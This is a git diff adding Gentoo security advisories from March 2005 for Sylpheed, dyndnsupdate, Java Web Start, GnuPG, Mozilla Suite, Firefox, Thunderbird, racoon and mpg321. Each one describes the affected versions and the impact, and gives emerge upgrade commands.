+  <synopsis>
+    Sylpheed and Sylpheed-claws contain a vulnerability that can be triggered
+    when replying to specially crafted messages.
+  </synopsis>
+  <product type="ebuild">sylpheed sylpheed-claws</product>
+  <announced>March 20, 2005</announced>
+  <revised>March 20, 2005: 01</revised>
+  <bug>84056</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/sylpheed" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+    <package name="mail-client/sylpheed-claws" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sylpheed is a lightweight email client and newsreader.
+    Sylpheed-claws is a 'bleeding edge' version of Sylpheed.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sylpheed and Sylpheed-claws fail to properly handle non-ASCII
+    characters in email headers when composing reply messages.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can send an email containing a malicious non-ASCII
+    header which, when replied to, would cause the program to crash,
+    potentially allowing the execution of arbitrary code with the
+    privileges of the user running the software.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sylpheed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-1.0.3&quot;</code>
+    <p>
+    All Sylpheed-claws users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-claws-1.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sylpheed.good-day.net/#changes">Sylpheed ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0667">CAN-2005-0667</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Mar 2005 20:05:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Mar 2005 14:35:33 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Mar 2005 22:41:22 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-27.xml b/xml/htdocs/security/en/glsa/glsa-200503-27.xml
new file mode 100644
index 00000000..27657f95
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-27.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-27">
+  <title>Xzabite dyndnsupdate: Multiple vulnerabilities</title>
+  <synopsis>
+    Xzabite's dyndnsupdate software suffers from multiple vulnerabilities,
+    potentially resulting in the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">dyndnsupdate</product>
+  <announced>March 21, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>84659</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dyndnsupdate" auto="yes" arch="*">
+      <vulnerable range="le">0.6.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    dyndnsupdate is a dyndns.org data updater written by Fredrik "xzabite"
+    Haglund.
+    </p>
+  </background>
+  <description>
+    <p>
+    Toby Dickenson discovered that dyndnsupdate suffers from multiple
+    overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker, posing as a dyndns.org server, could execute
+    arbitrary code with the rights of the user running dyndnsupdate.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Currently, there is no released version of dyndnsupdate that contains a
+    fix for these issues. The original xzabite.org distribution site is
+    dead, the code contains several other problems and more secure
+    alternatives exist, such as the net-dns/ddclient package. Therefore,
+    the dyndnsupdate package has been hard-masked prior to complete removal
+    from Portage, and current users are advised to unmerge the package:
+    </p>
+    <code>
+    # emerge --unmerge net-misc/dyndnsupdate</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0830">CVE-2005-0830</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 21 Mar 2005 09:32:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 21 Mar 2005 14:30:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-28.xml b/xml/htdocs/security/en/glsa/glsa-200503-28.xml
new file mode 100644
index 00000000..3d6a8d81
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-28.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-28">
+  <title>Sun Java: Web Start argument injection vulnerability</title>
+  <synopsis>
+    Java Web Start JNLP files can be abused to evade sandbox restriction and
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">Java</product>
+  <announced>March 24, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>85804</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.07</unaffected>
+      <unaffected range="lt">1.4.2</unaffected>
+      <vulnerable range="lt">1.4.2.07</vulnerable>
+    </package>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.07</unaffected>
+      <unaffected range="lt">1.4.2</unaffected>
+      <vulnerable range="lt">1.4.2.07</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sun provides implementations of Java Development Kits (JDK) and Java
+    Runtime Environments (JRE). These implementations provide the Java Web
+    Start technology that can be used for easy client-side deployment of
+    Java applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jouko Pynnonen discovered that Java Web Start contains a vulnerability
+    in the way it handles property tags in JNLP files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a malicious JNLP file, a remote attacker
+    could pass command line arguments to the Java Virtual machine, which
+    can be used to bypass the Java "sandbox" and to execute arbitrary code
+    with the permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JDK users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.4.2.07&quot;</code>
+    <p>
+    All Sun JRE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.4.2.07&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://jouko.iki.fi/adv/ws.html">Jouko Pynnonen advisory</uri>
+    <uri link="http://sunsolve.sun.com/search/document.do?assetkey=1-26-57740-1">Sun Microsystems Alert Notification</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0836">CVE-2005-0836</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 20 Mar 2005 21:40:30 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Mar 2005 21:41:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 23 Mar 2005 15:33:09 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-29.xml b/xml/htdocs/security/en/glsa/glsa-200503-29.xml
new file mode 100644
index 00000000..e912b503
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-29.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-29">
+  <title>GnuPG: OpenPGP protocol attack</title>
+  <synopsis>
+    Automated systems using GnuPG may leak plaintext portions of an encrypted
+    message.
+  </synopsis>
+  <product type="ebuild">GnuPG</product>
+  <announced>March 24, 2005</announced>
+  <revised>March 24, 2005: 01</revised>
+  <bug>85547</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1</unaffected>
+      <vulnerable range="lt">1.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuPG is complete and free replacement for PGP, a tool for secure
+    communication and data storage.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw has been identified in an integrity checking mechanism of
+    the OpenPGP protocol.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An automated system using GnuPG that allows an attacker to
+    repeatedly discover the outcome of an integrity check (perhaps by
+    observing the time required to return a response, or via overly verbose
+    error messages) could theoretically reveal a small portion of
+    plaintext.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuPG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/gnupg-1.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kb.cert.org/vuls/id/303094">CERT VU#303094</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0366">CAN-2005-0366</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Mar 2005 17:12:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 24 Mar 2005 12:34:11 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 24 Mar 2005 21:44:14 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-30.xml b/xml/htdocs/security/en/glsa/glsa-200503-30.xml
new file mode 100644
index 00000000..432af8db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-30.xml
@@ -0,0 +1,140 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-30">
+  <title>Mozilla Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Suite is vulnerable to multiple issues ranging from the remote
+    execution of arbitrary code to various issues allowing to trick the user
+    into trusting fake web sites or interacting with privileged content.
+  </synopsis>
+  <product type="ebuild">Mozilla</product>
+  <announced>March 25, 2005</announced>
+  <revised>March 25, 2005: 01</revised>
+  <bug>84074</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.6</unaffected>
+      <vulnerable range="lt">1.7.6</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.6</unaffected>
+      <vulnerable range="lt">1.7.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that
+    includes a mail and news reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in the Mozilla
+    Suite:
+    </p>
+    <ul>
+    <li>Mark Dowd from ISS X-Force reported an exploitable
+    heap overrun in the GIF processing of obsolete Netscape extension 2
+    (CAN-2005-0399)</li>
+    <li>Michael Krax reported that plugins can be used
+    to load privileged content and trick the user to interact with it
+    (CAN-2005-0232, CAN-2005-0527)</li>
+    <li>Michael Krax also reported
+    potential spoofing or cross-site-scripting issues through overlapping
+    windows, image or scrollbar drag-and-drop, and by dropping javascript:
+    links on tabs (CAN-2005-0230, CAN-2005-0231, CAN-2005-0401,
+    CAN-2005-0591)</li>
+    <li>Daniel de Wildt and Gael Delalleau discovered a
+    memory overwrite in a string library (CAN-2005-0255)</li>
+    <li>Wind Li
+    discovered a possible heap overflow in UTF8 to Unicode conversion
+    (CAN-2005-0592)</li>
+    <li>Eric Johanson reported that Internationalized
+    Domain Name (IDN) features allow homograph attacks (CAN-2005-0233)</li>
+    <li>Mook, Doug Turner, Kohei Yoshino and M. Deaudelin reported various
+    ways of spoofing the SSL "secure site" indicator (CAN-2005-0593)</li>
+    <li>Georgi Guninski discovered that XSLT can include stylesheets from
+    arbitrary hosts (CAN-2005-0588)</li>
+    <li>Secunia discovered a way of
+    injecting content into a popup opened by another website
+    (CAN-2004-1156)</li>
+    <li>Phil Ringnalda reported a possible way to
+    spoof Install source with user:pass@host (CAN-2005-0590)</li>
+    <li>Jakob
+    Balle from Secunia discovered a possible way of spoofing the Download
+    dialog source (CAN-2005-0585)</li>
+    <li>Christian Schmidt reported a
+    potential spoofing issue in HTTP auth prompt tab (CAN-2005-0584)</li>
+    <li>Finally, Tavis Ormandy of the Gentoo Linux Security Audit Team
+    discovered that Mozilla insecurely creates temporary filenames in
+    /tmp/plugtmp (CAN-2005-0578)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <ul>
+    <li>The GIF heap overflow could be triggered by a malicious GIF
+    image that would end up executing arbitrary code with the rights of the
+    user running Mozilla. The other overflow issues, while not thought to
+    be exploitable, would have the same impact</li>
+    <li>By setting up
+    malicious websites and convincing users to follow untrusted links or
+    obey very specific drag-and-drop or download instructions, attackers
+    may leverage the various spoofing issues to fake other websites to get
+    access to confidential information, push users to download malicious
+    files or make them interact with their browser preferences</li>
+    <li>The
+    temporary directory issue allows local attackers to overwrite arbitrary
+    files with the rights of another local user</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.6&quot;</code>
+    <p>
+    All Mozilla Suite binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1156">CAN-2004-1156</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0230">CAN-2005-0230</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0231">CAN-2005-0231</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0232">CAN-2005-0232</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0233">CAN-2005-0233</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0255">CAN-2005-0255</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0399">CAN-2005-0399</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0401">CAN-2005-0401</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0527">CAN-2005-0527</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0578">CAN-2005-0578</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0584">CAN-2005-0584</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0585">CAN-2005-0585</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0588">CAN-2005-0588</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0590">CAN-2005-0590</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0591">CAN-2005-0591</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0592">CAN-2005-0592</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0593">CAN-2005-0593</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 22 Mar 2005 09:19:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Mar 2005 12:49:52 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-31.xml b/xml/htdocs/security/en/glsa/glsa-200503-31.xml
new file mode 100644
index 00000000..507fafb8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-31.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-31">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Mozilla Firefox 1.0.2 fixes new security vulnerabilities, including the
+    remote execution of arbitrary code through malicious GIF images or
+    sidebars.
+  </synopsis>
+  <product type="ebuild">Firefox</product>
+  <announced>March 25, 2005</announced>
+  <revised>March 25, 2005: 01</revised>
+  <bug>86148</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the popular next-generation browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in Mozilla
+    Firefox:
+    </p>
+    <ul>
+    <li>Mark Dowd from ISS X-Force reported an
+    exploitable heap overrun in the GIF processing of obsolete Netscape
+    extension 2 (CAN-2005-0399)</li>
+    <li>Kohei Yoshino discovered that a
+    page bookmarked as a sidebar could bypass privileges control
+    (CAN-2005-0402)</li>
+    <li>Michael Krax reported a new way to bypass XUL
+    security restrictions through drag-and-drop of items like scrollbars
+    (CAN-2005-0401)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <ul>
+    <li>The GIF heap overflow could be triggered by a malicious GIF
+    image that would end up executing arbitrary code with the rights of the
+    user running Firefox</li>
+    <li>By tricking the user into bookmarking a
+    malicious page as a Sidebar, a remote attacker could potentially
+    execute arbitrary code with the rights of the user running the
+    browser</li>
+    <li>By setting up a malicious website and convincing users
+    to obey very specific drag-and-drop instructions, attackers may
+    leverage drag-and-drop features to bypass XUL security restrictions,
+    which could be used as a stepping stone to exploit other
+    vulnerabilities</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.2&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0399">CAN-2005-0399</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0401">CAN-2005-0401</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0402">CAN-2005-0402</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 22 Mar 2005 09:29:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Mar 2005 12:27:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-32.xml b/xml/htdocs/security/en/glsa/glsa-200503-32.xml
new file mode 100644
index 00000000..b7db2ae7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-32.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-32">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Mozilla Thunderbird is vulnerable to multiple issues, including the remote
+    execution of arbitrary code through malicious GIF images.
+  </synopsis>
+  <product type="ebuild">Thunderbird</product>
+  <announced>March 25, 2005</announced>
+  <revised>March 25, 2005: 01</revised>
+  <bug>84075</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.2</unaffected>
+      <vulnerable range="lt">1.0.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is the next-generation mail client from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in Mozilla
+    Thunderbird:
+    </p>
+    <ul>
+    <li>Mark Dowd from ISS X-Force reported an
+    exploitable heap overrun in the GIF processing of obsolete Netscape
+    extension 2 (CAN-2005-0399)</li>
+    <li>Daniel de Wildt and Gael Delalleau
+    discovered a memory overwrite in a string library (CAN-2005-0255)</li>
+    <li>Wind Li discovered a possible heap overflow in UTF8 to Unicode
+    conversion (CAN-2005-0592)</li>
+    <li>Phil Ringnalda reported a possible
+    way to spoof Install source with user:pass@host (CAN-2005-0590)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    The GIF heap overflow could be triggered by a malicious GIF image
+    that would end up executing arbitrary code with the rights of the user
+    running Thunderbird. The other overflow issues, while not thought to be
+    exploitable, would have the same impact. Furthermore, by setting up
+    malicious websites and convincing users to follow untrusted links,
+    attackers may leverage the spoofing issue to trick user into installing
+    malicious extensions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.0.2&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0255">CAN-2005-0255</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0399">CAN-2005-0399</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0590">CAN-2005-0590</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0592">CAN-2005-0592</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 22 Mar 2005 10:54:32 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 25 Mar 2005 08:41:58 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-33.xml b/xml/htdocs/security/en/glsa/glsa-200503-33.xml
new file mode 100644
index 00000000..ab867d39
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-33.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-33">
+  <title>IPsec-Tools: racoon Denial of Service</title>
+  <synopsis>
+    IPsec-Tools' racoon is affected by a remote Denial of Service vulnerability.
+  </synopsis>
+  <product type="ebuild">IPsec-Tools</product>
+  <announced>March 25, 2005</announced>
+  <revised>March 25, 2005: 01</revised>
+  <bug>84479</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="rge">0.4-r1</unaffected>
+      <unaffected range="ge">0.5-r1</unaffected>
+      <vulnerable range="lt">0.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IPsec-Tools is a port of KAME's implementation of the IPsec
+    utilities. It contains a collection of network monitoring tools,
+    including racoon, ping, and ping6.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer has reported a potential remote Denial of
+    Service vulnerability in the ISAKMP header parsing code of racoon.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could possibly cause a Denial of Service of racoon
+    using a specially crafted ISAKMP packet.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IPsec-Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/ipsec-tools-0.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0398">CAN-2005-0398</uri>
+    <uri link="http://sourceforge.net/mailarchive/forum.php?thread_id=6787713&amp;forum_id=32000">ipsec-tools-devel posting</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Mar 2005 16:03:41 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 24 Mar 2005 09:50:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 24 Mar 2005 21:24:17 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-34.xml b/xml/htdocs/security/en/glsa/glsa-200503-34.xml
new file mode 100644
index 00000000..e5a80789
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-34.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-34">
+  <title>mpg321: Format string vulnerability</title>
+  <synopsis>
+    A flaw in the processing of ID3 tags in mpg321 could potentially lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mpg321</product>
+  <announced>March 28, 2005</announced>
+  <revised>March 28, 2005: 01</revised>
+  <bug>86033</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg321" auto="yes" arch="*">
+      <unaffected range="ge">0.2.10-r2</unaffected>
+      <vulnerable range="lt">0.2.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg321 is a GPL replacement for mpg123, a command line audio
+    player with support for ID3. ID3 is a tagging system that allows
+    metadata to be embedded within media files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A routine security audit of the mpg321 package revealed a known
+    security issue remained unpatched. The vulnerability is a result of
+    mpg321 printing embedded ID3 data to the console in an unsafe manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a victim to play a specially
+    crafted audio file using mpg321, potentially resulting in the execution
+    of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg321 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/mpg321-0.2.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0969">CVE-2003-0969</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Mar 2005 14:50:18 +0000">
+    koon
+  </metadata>
